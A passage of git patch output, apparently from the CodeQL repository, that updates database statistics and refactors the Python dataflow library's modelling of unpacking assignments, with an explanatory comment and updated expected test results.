</columnsizes> <dependencies/> </relation> <relation> <name>cil_security</name> -<cardinality>1908</cardinality> +<cardinality>1907</cardinality> <columnsizes> <e> <k>id</k> -<v>1908</v> +<v>1907</v> </e> </columnsizes> <dependencies/> @@ -42290,37 +42283,37 @@ </relation> <relation> <name>cil_specialname</name> -<cardinality>812083</cardinality> +<cardinality>811934</cardinality> <columnsizes> <e> <k>id</k> -<v>812083</v> +<v>811934</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_newslot</name> -<cardinality>422840</cardinality> +<cardinality>422762</cardinality> <columnsizes> <e> <k>id</k> -<v>422840</v> +<v>422762</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_base_class</name> -<cardinality>235894</cardinality> +<cardinality>235851</cardinality> <columnsizes> <e> <k>id</k> -<v>235894</v> +<v>235851</v> </e> <e> <k>base</k> -<v>21436</v> +<v>21433</v> </e> </columnsizes> <dependencies> @@ -42334,7 +42327,7 @@ <b> <a>1</a> <b>2</b> -<v>235894</v> +<v>235851</v> </b> </bs> </hist> @@ -42350,7 +42343,7 @@ <b> <a>1</a> <b>2</b> -<v>12331</v> +<v>12329</v> </b> <b> <a>2</a> @@ -42360,7 +42353,7 @@ <b> <a>3</a> <b>4</b> -<v>1615</v> +<v>1614</v> </b> <b> <a>4</a> @@ -42385,15 +42378,15 @@ </relation> <relation> <name>cil_base_interface</name> -<cardinality>125372</cardinality> +<cardinality>125349</cardinality> <columnsizes> <e> <k>id</k> -<v>68688</v> +<v>68675</v> </e> <e> <k>base</k> -<v>31235</v> +<v>31229</v> </e> </columnsizes> <dependencies> @@ -42407,22 +42400,22 @@ <b> <a>1</a> <b>2</b> -<v>47758</v> +<v>47749</v> </b> <b> <a>2</a> <b>3</b> -<v>8124</v> +<v>8123</v> </b> <b> <a>3</a> <b>5</b> -<v>6270</v> +<v>6269</v> </b> <b> <a>5</a> <b>9</b> -<v>5382</v> +<v>5381</v> </b> <b> <a>9</a> @@ -42443,12 +42436,12 @@ <b> <a>1</a> <b>2</b> -<v>22505</v> +<v>22501</v> </b> <b> <a>2</a> <b>3</b> -<v>3435</v> +<v>3434</v> </b> <b> <a>3</a> @@ -42458,7 +42451,7 @@ <b> <a>5</a> <b>30</b> -<v>2347</v> +<v>2346</v> </b> <b> <a>30</a> @@ -42473,11 +42466,11 @@ </relation> <relation> <name>cil_enum_underlying_type</name> -<cardinality>14088</cardinality> +<cardinality>14085</cardinality> <columnsizes> <e> <k>id</k> -<v>14088</v> +<v>14085</v> </e> <e> <k>underlying</k> @@ -42495,7 +42488,7 @@ <b> <a>1</a> <b>2</b> -<v>14088</v> +<v>14085</v> </b> </bs> </hist> @@ -42556,11 +42549,11 @@ </relation> <relation> <name>cil_type_parameter</name> -<cardinality>185100</cardinality> +<cardinality>185066</cardinality> <columnsizes> <e> <k>unbound</k> -<v>104052</v> +<v>104033</v> </e> <e> <k>index</k> @@ -42568,7 +42561,7 @@ </e> <e> <k>param</k> -<v>185100</v> +<v>185066</v> </e> </columnsizes> <dependencies> @@ -42582,17 +42575,17 @@ <b> <a>1</a> <b>2</b> -<v>75085</v> +<v>75071</v> </b> <b> <a>2</a> <b>3</b> -<v>19026</v> +<v>19022</v> </b> <b> <a>3</a> <b>13</b> -<v>8168</v> +<v>8167</v> </b> <b> <a>13</a> @@ -42613,17 +42606,17 @@ <b> <a>1</a> <b>2</b> -<v>75085</v> +<v>75071</v> </b> <b> <a>2</a> <b>3</b> -<v>19026</v> +<v>19022</v> </b> <b> <a>3</a> <b>13</b> -<v>8168</v> +<v>8167</v> </b> <b> <a>13</a> @@ -42876,7 +42869,7 @@ <b> <a>1</a> <b>2</b> -<v>185100</v> +<v>185066</v> </b> </bs> </hist> @@ -42892,7 +42885,7 @@ <b> <a>1</a> <b>2</b> -<v>185100</v> +<v>185066</v> </b> </bs> </hist> @@ -42902,11 +42895,11 @@ </relation> <relation> <name>cil_type_argument</name> -<cardinality>738363</cardinality> +<cardinality>738228</cardinality> <columnsizes> <e> <k>bound</k> -<v>482168</v> +<v>482080</v> </e> <e> <k>index</k> @@ -42914,7 +42907,7 @@ </e> <e> <k>t</k> -<v>252632</v> +<v>252586</v> </e> </columnsizes> <dependencies> @@ -42928,17 +42921,17 @@ <b> <a>1</a> <b>2</b> -<v>336755</v> +<v>336693</v> </b> <b> <a>2</a> <b>3</b> -<v>117559</v> +<v>117537</v> </b> <b> <a>3</a> <b>22</b> -<v>27853</v> +<v>27848</v> </b> </bs> </hist> @@ -42954,17 +42947,17 @@ <b> <a>1</a> <b>2</b> -<v>341669</v> +<v>341606</v> </b> <b> <a>2</a> <b>3</b> -<v>115441</v> +<v>115420</v> </b> <b> <a>3</a> <b>22</b> -<v>25057</v> +<v>25053</v> </b> </bs> </hist> @@ -43192,27 +43185,27 @@ <b> <a>1</a> <b>2</b> -<v>100489</v> +<v>100471</v> </b> <b> <a>2</a> <b>3</b> -<v>72875</v> +<v>72861</v> </b> <b> <a>3</a> <b>4</b> -<v>42561</v> +<v>42553</v> </b> <b> <a>4</a> <b>6</b> -<v>20138</v> +<v>20135</v> </b> <b> <a>6</a> <b>4208</b> -<v>16566</v> +<v>16563</v> </b> </bs> </hist> @@ -43228,17 +43221,17 @@ <b> <a>1</a> <b>2</b> -<v>191132</v> +<v>191097</v> </b> <b> <a>2</a> <b>3</b> -<v>55581</v> +<v>55570</v> </b> <b> <a>3</a> <b>20</b> -<v>5919</v> +<v>5918</v> </b> </bs> </hist> @@ -43339,15 +43332,15 @@ </relation> <relation> <name>cil_attribute</name> -<cardinality>328879</cardinality> +<cardinality>328819</cardinality> <columnsizes> <e> <k>attributeid</k> -<v>328879</v> +<v>328819</v> </e> <e> <k>element</k> -<v>249036</v> +<v>248990</v> </e> <e> <k>constructor</k> @@ -43365,7 +43358,7 @@ <b> <a>1</a> <b>2</b> -<v>328879</v> +<v>328819</v> </b> </bs> </hist> @@ -43381,7 +43374,7 @@ <b> <a>1</a> <b>2</b> -<v>328879</v> +<v>328819</v> </b> </bs> </hist> @@ -43397,17 +43390,17 @@ <b> <a>1</a> <b>2</b> -<v>197695</v> +<v>197659</v> </b> <b> <a>2</a> <b>3</b> -<v>36759</v> +<v>36752</v> </b> <b> <a>3</a> <b>92</b> -<v>14580</v> +<v>14578</v> </b> </bs> </hist> @@ -43423,17 +43416,17 @@ <b> <a>1</a> <b>2</b> -<v>213579</v> +<v>213540</v> </b> <b> <a>2</a> <b>3</b> -<v>31050</v> +<v>31044</v> </b> <b> <a>3</a> <b>7</b> -<v>4406</v> +<v>4405</v> </b> </bs> </hist> @@ -43525,7 +43518,7 @@ <b> <a>3</a> <b>4</b> -<v>283</v> +<v>282</v> </b> <b> <a>4</a> @@ -43540,7 +43533,7 @@ <b> <a>7</a> <b>10</b> -<v>283</v> +<v>282</v> </b> <b> <a>10</a> @@ -43575,7 +43568,7 @@ </relation> <relation> <name>cil_attribute_named_argument</name> -<cardinality>5567</cardinality> +<cardinality>5566</cardinality> <columnsizes> <e> <k>attribute_id</k> @@ -43601,7 +43594,7 @@ <b> <a>1</a> <b>2</b> -<v>3767</v> +<v>3766</v> </b> <b> <a>2</a> @@ -43627,7 +43620,7 @@ <b> <a>1</a> <b>2</b> -<v>4060</v> +<v>4059</v> </b> <b> <a>2</a> @@ -43821,11 +43814,11 @@ </relation> <relation> <name>cil_attribute_positional_argument</name> -<cardinality>96327</cardinality> +<cardinality>96309</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>90193</v> +<v>90176</v> </e> <e> <k>index</k> @@ -43833,7 +43826,7 @@ </e> <e> <k>value</k> -<v>17142</v> +<v>17139</v> </e> </columnsizes> <dependencies> @@ -43847,12 +43840,12 @@ <b> <a>1</a> <b>2</b> -<v>85503</v> +<v>85488</v> </b> <b> <a>2</a> <b>7</b> -<v>4689</v> +<v>4688</v> </b> </bs> </hist> @@ -43868,12 +43861,12 @@ <b> <a>1</a> <b>2</b> -<v>85513</v> +<v>85498</v> </b> <b> <a>2</a> <b>7</b> -<v>4679</v> +<v>4678</v> </b> </bs> </hist> @@ -43966,12 +43959,12 @@ <b> <a>1</a> <b>2</b> -<v>12360</v> +<v>12358</v> </b> <b> <a>2</a> <b>3</b> -<v>2464</v> +<v>2463</v> </b> <b> <a>3</a> @@ -43981,7 +43974,7 @@ <b> <a>6</a> <b>5555</b> -<v>888</v> +<v>887</v> </b> </bs> </hist> @@ -43997,7 +43990,7 @@ <b> <a>1</a> <b>2</b> -<v>16815</v> +<v>16812</v> </b> <b> <a>2</a> @@ -44012,11 +44005,11 @@ </relation> <relation> <name>metadata_handle</name> -<cardinality>6187767</cardinality> +<cardinality>6186911</cardinality> <columnsizes> <e> <k>entity</k> -<v>5696083</v> +<v>5695317</v> </e> <e> <k>location</k> @@ -44024,7 +44017,7 @@ </e> <e> <k>handle</k> -<v>274538</v> +<v>274487</v> </e> </columnsizes> <dependencies> @@ -44038,17 +44031,17 @@ <b> <a>1</a> <b>2</b> -<v>5222609</v> +<v>5221930</v> </b> <b> <a>2</a> <b>3</b> -<v>464440</v> +<v>464355</v> </b> <b> <a>3</a> <b>638</b> -<v>9032</v> +<v>9030</v> </b> </bs> </hist> @@ -44064,12 +44057,12 @@ <b> <a>1</a> <b>2</b> -<v>5454908</v> +<v>5454186</v> </b> <b> <a>2</a> <b>59</b> -<v>241174</v> +<v>241130</v> </b> </bs> </hist> @@ -44171,7 +44164,7 @@ <b> <a>3</a> <b>20</b> -<v>283</v> +<v>282</v> </b> <b> <a>20</a> @@ -44242,62 +44235,62 @@ <b> <a>1</a> <b>2</b> -<v>18962</v> +<v>18959</v> </b> <b> <a>2</a> <b>3</b> -<v>45089</v> +<v>45081</v> </b> <b> <a>3</a> <b>5</b> -<v>23950</v> +<v>23945</v> </b> <b> <a>5</a> <b>6</b> -<v>17538</v> +<v>17534</v> </b> <b> <a>6</a> <b>7</b> -<v>30181</v> +<v>30176</v> </b> <b> <a>7</a> <b>9</b> -<v>19001</v> +<v>18998</v> </b> <b> <a>9</a> <b>11</b> -<v>22120</v> +<v>22116</v> </b> <b> <a>11</a> <b>13</b> -<v>21066</v> +<v>21062</v> </b> <b> <a>13</a> <b>21</b> -<v>21495</v> +<v>21491</v> </b> <b> <a>21</a> <b>39</b> -<v>21158</v> +<v>21154</v> </b> <b> <a>39</a> <b>83</b> -<v>20602</v> +<v>20598</v> </b> <b> <a>83</a> -<b>1061</b> -<v>13370</v> +<b>1062</b> +<v>13368</v> </b> </bs> </hist> @@ -44313,52 +44306,52 @@ <b> <a>1</a> <b>2</b> -<v>62998</v> +<v>62986</v> </b> <b> <a>2</a> <b>3</b> -<v>21124</v> +<v>21120</v> </b> <b> <a>3</a> <b>4</b> -<v>47055</v> +<v>47047</v> </b> <b> <a>4</a> <b>5</b> -<v>18962</v> +<v>18959</v> </b> <b> <a>5</a> <b>6</b> -<v>19426</v> +<v>19422</v> </b> <b> <a>6</a> <b>7</b> -<v>22095</v> +<v>22091</v> </b> <b> <a>7</a> <b>11</b> -<v>23325</v> +<v>23321</v> </b> <b> <a>11</a> <b>19</b> -<v>22027</v> +<v>22023</v> </b> <b> <a>19</a> <b>41</b> -<v>20885</v> +<v>20881</v> </b> <b> <a>41</a> <b>702</b> -<v>16635</v> +<v>16632</v> </b> </bs> </hist> From 36a4a5081e6c3bb221f5f94c7134a4031a24297a Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 13 Jan 2021 18:33:08 +0100 Subject: [PATCH 0558/1241] Python: big refactor and fix tests Make sure tests are valid Fix wrong test annotations Big refactor to make code readable Big comment to explain code --- .../dataflow/new/internal/DataFlowPrivate.qll | 292 +++++++------- .../dataflow/new/internal/DataFlowPublic.qll | 30 +- .../dataflow/coverage/dataflow.expected | 359 ++++++------------ .../experimental/dataflow/coverage/test.py | 34 +- 4 files changed, 302 insertions(+), 413 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 5a34914fe1f..274005122f0 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -127,9 +127,14 @@ module EssaFlow { nodeTo.(EssaNode).getVar().getDefinition().(AssignmentDefinition).getValue() or // Definition - // `a, b = iterable` + // `[a, b] = iterable` // nodeFrom = `iterable`, cfg node - // nodeTo = `a, b`, cfg node + // nodeTo = `TIterableSequence([a, b])` + exists(UnpackingAssignmentDirectTarget target | + nodeFrom.asExpr() = target.getValue() and + nodeTo = TIterableSequence(target) + ) + or exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | nodeFrom.asExpr() = assign.getValue() and nodeTo.asCfgNode() = target @@ -170,7 +175,7 @@ module EssaFlow { // If expressions nodeFrom.asCfgNode() = nodeTo.asCfgNode().(IfExprNode).getAnOperand() or - unpackingAssignmentDirectFlowStep(nodeFrom, nodeTo) + unpackingAssignmentFlowStep(nodeFrom, nodeTo) or // Overflow keyword argument exists(CallNode call, CallableValue callable | @@ -1023,115 +1028,117 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { ) } +/** + * The unpacking assignment takes the general form + * ```python + * sequence = iterable + * ``` + * where `sequence` is either a tuple or a list and it can contain wildcards. + * The iterable can be any iterable, which means that content will need to change type + * if it should be transferred from the LHS to the RHS. + * + * We may for instance have + * ```python + * (a, b) = ["a", "tainted string"] # RHS has content `ListElement` + * ``` + * Due to the abstraction for list content, we do not know whether `"tainted string"` + * ends up in `a` or in `b`, so we want to overapproximate and see it in both. + * + * Using wildcards we may have + * ```python + * (a, *b) = ("a", "b", "tainted string") # RHS has content `TupleElement(2)` + * ``` + * Since the starred variables are always assigned type list, `*b` will be + * `["b", "tainted string]`, and we will agsin overapproximate and assign it + * content corresponding to anything found in the RHS. + * + * For a precise transfer + * ```python + * (a, b) = ("a", "tainted string") # RHS has content `TupleElement(1)` + * ``` + * we wish to keep the precision, so only `b` receives the tuple content at index 1. + * + * Finally, `sequence` is actually a pattern and can have a more complicated structure, + * such as + * ```python + * (a, [b, *c]) = ("a", ("tainted string", "c")) # RHS has content `TupleElement(1); TupleElement(0)` + * ``` + * where `a` should not receive content, but `b` and `c` should. `c` will be `["c"]` so + * should have the content converted and transferred, while `b` should read it. + * + * The strategy for converting content type is to break the transfer up into a read step + * and a store step, together creating a converting transfer step. + * For this we need a synthetic node in the middle, which we call `TIterableElement(receiver)`. + * It is associated with the receiver of the transfer, because we know the receiver type from the syntax. + * Since we sometimes need a converting read step (in the example above, `[b, *c]` reads the content + * `TupleElement(0)` but should have content `ListElement`), we actually need a second synthetic node. + * A converting read step is a read step followed by a converting transfer. + * We can have a uniform treatment by always having two synthetic nodes and so we can view it as + * two stages of the same node. So we read into (or transfer to) `TIterableSequence(receiver)`, + * from which we take a read step to `TIterableElement(receiver)` and then a store step to `receiver`. + * In order to preserve precise content, we also take a flow step from `TIterableSequence(receiver)` + * directly to `receiver`. + * + * The strategy is then via several read-, store-, and flow steps: + * 1. [Flow] Content is transferred from `iterable` to `TIterableSequence(sequence)` via a + * flow step. From here, everything happens on the LHS. + * + * 1. [Flow] Content is transferred from `TIterableSequence(sequence)` to `sequence` via a + * flow step. + * + * 1. [Read] Content is read from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. + * If `sequence` is of type tuple, we will not read tuple content as that would allow + * cross talk. + * + * 1. [Store] Content is stored from `TIterableElement(sequence)` to `sequence`. + * Here the content type is chosen according to the type of sequence. + * + * 1. [Read] Content is read from `sequence` to its elements according to the type of `sequence`. + * If the element is a plain variable, the target is the corresponding essa node. + * If the element is itelf a sequence, with control-flow node `seq`, the target is `TIterableSequence(seq)`. + * If the element is a starred variable, with control-flow node `v`, the target is `TIterableElement(v)`. + * + * 1. [Store] Content is stored from `TIterableElement(v)` to the essa variable for `v`, with + * content type `ListElement`. + * + * 1. [Flow, Read, Store] The last 5 steps are repeated for all recursive elements which are sequences. + */ module unpackinAssignment { - /** Data flows from an iterable to an assigned variable. */ - predicate unpackingAssignmentReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { - unpackingAssignmentToplevelReadStep(nodeFrom, c, nodeTo) - or - unpackingAssignmentInternalReadStep(nodeFrom, c, nodeTo) - or - unpackingAssignmentConvertingReadStep(nodeFrom, c, nodeTo) - or - unpackingAssignmentConvertingInternalReadStep(nodeFrom, c, nodeTo) + /** A direct (or top-level) target of an unpacking assignment */ + class UnpackingAssignmentDirectTarget extends ControlFlowNode { + Expr value; + + UnpackingAssignmentDirectTarget() { + this instanceof SequenceNode and + exists(Assign assign | this.getNode() = assign.getATarget() | value = assign.getValue()) + } + + Expr getValue() { result = value } } - predicate unpackingAssignmentStoreStep(Node nodeFrom, Content c, CfgNode nodeTo) { - unpackingAssignmentConvertingStoreStep(nodeFrom, c, nodeTo) - or - unpackingAssignmentConvertingInternalStoreStep(nodeFrom, c, nodeTo) + /** A (possibly recursive) target of an unpacking assignment */ + class UnpackingAssignmentTarget extends ControlFlowNode { + UnpackingAssignmentTarget() { + this instanceof UnpackingAssignmentDirectTarget + or + exists(UnpackingAssignmentTarget parent | this = parent.getAnElement()) + } + + ControlFlowNode getElement(int i) { result = this.(SequenceNode).getElement(i) } + + ControlFlowNode getAnElement() { result = this.getElement(_) } } - predicate unpackingAssignmentRead(CfgNode nodeFrom, Content c, ControlFlowNode readNode) { - // `a, b = iterable` - // nodeFrom = `a, b` - // readNode = `a` - // c is compatible with type of `a, b` (so tuple if it was `(a, b)`) - exists(Assign assign, SequenceNode target, int index | target.getNode() = assign.getATarget() | - nodeFrom.getNode() = target and - readNode = target.getElement(index) and - ( - target instanceof ListNode and - c instanceof ListElementContent - or - target instanceof TupleNode and - c.(TupleElementContent).getIndex() = index - ) + predicate unpackingAssignmentFlowStep(Node nodeFrom, Node nodeTo) { + exists(UnpackingAssignmentTarget target | target instanceof SequenceNode | + nodeFrom = TIterableSequence(target) and + nodeTo.asCfgNode() = target ) } - predicate unpackingAssignmentInternalReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { - // iterable unpacking - // `a, (b, (c, d)) = iterable` - // nodeFrom is `(b, (c, d))`, cfg node - // nodeTo is `b`, essa var - // or `(c, d)`, cfg node - // c is compatible with `b`s (or `(c, d)`s) index - exists( - Assign assign, SequenceNode target, SequenceNode readFrom, int index, ControlFlowNode readTo - | - target.getNode() = assign.getATarget() and - readFrom = target.getAnElement() // use contains to get deeper nesting - | - nodeFrom.getNode() = readFrom and - readTo = readFrom.getElement(index) and - ( - readTo instanceof SequenceNode and - nodeTo.asCfgNode() = readTo - or - not readTo instanceof SequenceNode and - nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readTo - ) and - ( - readFrom instanceof ListNode and - c instanceof ListElementContent - or - readFrom instanceof TupleNode and - c.(TupleElementContent).getIndex() = index - ) - ) - } - - /** Data flows from an iterable to an assigned variable. */ - predicate unpackingAssignmentToplevelReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { - // iterable unpacking - // `a, (b, c) = iterable` - // nodeFrom is `a, (b, c)`, cfg node - // nodeTo is `a`, essa var - // or `(b, c)`, cfg node - // c is compatible with `a`s (or `(b, c)`s) index - exists(ControlFlowNode readNode | unpackingAssignmentRead(nodeFrom, c, readNode) | - ( - readNode instanceof SequenceNode and - nodeTo.asCfgNode() = readNode - or - not readNode instanceof SequenceNode and - nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = readNode - ) - ) - or - unpackingAssignmentInternalReadStep(nodeFrom, c, nodeTo) - } - - predicate unpackingAssignmentDirectFlowStep(CfgNode nodeFrom, CfgNode nodeTo) { - // `a, *b = iterable` - // nodeFrom = `a, b` - // nodeTo = `*b` - exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | - nodeFrom.getNode() = target and - nodeTo.getNode() = target.getAnElement() and - nodeTo.asExpr() instanceof Starred - ) - } - - predicate unpackingAssignmentConvertingReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { - // iterable unpacking - // `a, b = iterable` - // nodeFrom is `iterable` - // nodeTo is synthetic IterableElement - // c is whatever element content `iterable` might carry - // we wish to consume c, so that we can later write it back in the type of the lhs. - exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | - nodeFrom.asExpr() = assign.getValue() and + predicate unpackingAssignmentConvertingReadStep(Node nodeFrom, Content c, Node nodeTo) { + exists(UnpackingAssignmentTarget target | target instanceof SequenceNode | + nodeFrom = TIterableSequence(target) and nodeTo = TIterableElement(target) and ( c instanceof ListElementContent @@ -1149,15 +1156,10 @@ module unpackinAssignment { ) } - predicate unpackingAssignmentConvertingStoreStep(Node nodeFrom, Content c, CfgNode nodeTo) { - // iterable unpacking - // `a, b = iterable` - // nodeFrom is synthetic IterableElement - // nodeTo is `a, b` - // c is consistent with the type of the lhs. - exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | + predicate unpackingAssignmentConvertingStoreStep(Node nodeFrom, Content c, Node nodeTo) { + exists(UnpackingAssignmentTarget target | target instanceof SequenceNode | nodeFrom = TIterableElement(target) and - nodeTo.getNode() = target and + nodeTo.asCfgNode() = target and ( target instanceof ListNode and c instanceof ListElementContent @@ -1170,47 +1172,51 @@ module unpackinAssignment { ) } - predicate unpackingAssignmentConvertingInternalReadStep(CfgNode nodeFrom, Content c, Node nodeTo) { - exists(Assign assign, SequenceNode target, SequenceNode readFrom | - target.getNode() = assign.getATarget() and - readFrom = target.getAnElement() // use contains to get deeper nesting + predicate unpackingAssignmentElementReadStep(Node nodeFrom, Content c, Node nodeTo) { + exists(UnpackingAssignmentTarget target, int index, ControlFlowNode element | + target instanceof SequenceNode | - nodeFrom.getNode() = readFrom and - nodeTo = TIterableElement(readFrom) and + nodeFrom.asCfgNode() = target and + element = target.getElement(index) and ( + target instanceof ListNode and c instanceof ListElementContent or - c instanceof SetElementContent - or - // do not lose precision by routing tuple content through the `IterableElement` - not readFrom instanceof TupleNode and - // `index` refers to `nodeFrom`, but only the ones in `target` are relevant. - exists(int index | exists(readFrom.getElement(index)) | - c.(TupleElementContent).getIndex() = index - ) - // leaving out dict content for now + target instanceof TupleNode and + c.(TupleElementContent).getIndex() = index + ) and + ( + if element instanceof SequenceNode + then nodeTo = TIterableSequence(element) + else + if element.getNode() instanceof Starred + then nodeTo = TIterableElement(element) + else + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = element ) ) } - predicate unpackingAssignmentConvertingInternalStoreStep(Node nodeFrom, Content c, CfgNode nodeTo) { - exists(Assign assign, SequenceNode target, SequenceNode readFrom | - target.getNode() = assign.getATarget() and - readFrom = target.getAnElement() // use contains to get deeper nesting - | - nodeFrom = TIterableElement(readFrom) and - nodeTo.getNode() = readFrom and - ( - readFrom instanceof ListNode and - c instanceof ListElementContent - or - readFrom instanceof TupleNode and - exists(int index | exists(readFrom.getElement(index)) | - c.(TupleElementContent).getIndex() = index - ) - ) + predicate unpackingAssignmentStarredElementStoreStep(Node nodeFrom, Content c, Node nodeTo) { + exists(ControlFlowNode starred | starred.getNode() instanceof Starred | + nodeFrom = TIterableElement(starred) and + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = starred and + c instanceof ListElementContent ) } + + /** Data flows from an iterable to an assigned variable. */ + predicate unpackingAssignmentReadStep(Node nodeFrom, Content c, Node nodeTo) { + unpackingAssignmentElementReadStep(nodeFrom, c, nodeTo) + or + unpackingAssignmentConvertingReadStep(nodeFrom, c, nodeTo) + } + + predicate unpackingAssignmentStoreStep(Node nodeFrom, Content c, Node nodeTo) { + unpackingAssignmentStarredElementStoreStep(nodeFrom, c, nodeTo) + or + unpackingAssignmentConvertingStoreStep(nodeFrom, c, nodeTo) + } } import unpackinAssignment diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 60504da5b3c..f5830603b14 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -61,17 +61,15 @@ newtype TNode = TKwUnpacked(CallNode call, CallableValue callable, string name) { call_unpacks(call, _, callable, name, _) } or + /** + * A synthetic node representing that an iterable sequence flows to consumer. + */ + TIterableSequence(UnpackingAssignmentTarget consumer) { consumer instanceof SequenceNode } or /** * A synthetic node representing that there may be an iterable element * for `consumer` to consume. */ - TIterableElement(SequenceNode consumer) { - exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | - consumer = target - or - consumer = target.getAnElement() // use containts for deeper nesting - ) - } + TIterableElement(UnpackingAssignmentTarget consumer) /** Helper for `Node::getEnclosingCallable`. */ private DataFlowCallable getCallableScope(Scope s) { @@ -331,11 +329,25 @@ class KwUnpacked extends Node, TKwUnpacked { } /** - * A synthetic node representing an iterable element. Use for changing content type + * A synthetic node representing an iterable sequence. Used for changing content type + * for instance from a `ListElement` to a `TupleElement`. + */ +class IterableSequence extends Node, TIterableSequence { + SequenceNode consumer; + + IterableSequence() { this = TIterableSequence(consumer) } + + override string toString() { result = "IterableSequence" } + + override Location getLocation() { result = consumer.getLocation() } +} + +/** + * A synthetic node representing an iterable element. Used for changing content type * for instance from a `ListElement` to a `TupleElement`. */ class IterableElement extends Node, TIterableElement { - SequenceNode consumer; + ControlFlowNode consumer; IterableElement() { this = TIterableElement(consumer) } diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 0f9550b69ab..1cb6868e359 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -63,7 +63,7 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:521:10:521:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:30:529:35 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:538:13:538:18 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:18:546:23 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:12:556:17 | ControlFlowNode for SOURCE | @@ -194,36 +194,45 @@ edges | test.py:522:5:522:5 | SSA variable a | test.py:523:10:523:10 | ControlFlowNode for a | | test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:5:522:5 | SSA variable a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:30:529:35 | ControlFlowNode for SOURCE | | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:530:5:530:5 | SSA variable a | test.py:531:10:531:10 | ControlFlowNode for a | | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:5 | SSA variable a | -| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:12:530:12 | SSA variable c | -| test.py:530:12:530:12 | SSA variable c | test.py:533:10:533:10 | ControlFlowNode for c | +| test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | test.py:539:5:539:14 | IterableSequence [List element, List element, List element, List element] | +| test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | +| test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | +| test.py:538:12:538:19 | ControlFlowNode for List [List element] | test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | +| test.py:538:13:538:18 | ControlFlowNode for SOURCE | test.py:538:12:538:19 | ControlFlowNode for List [List element] | +| test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| 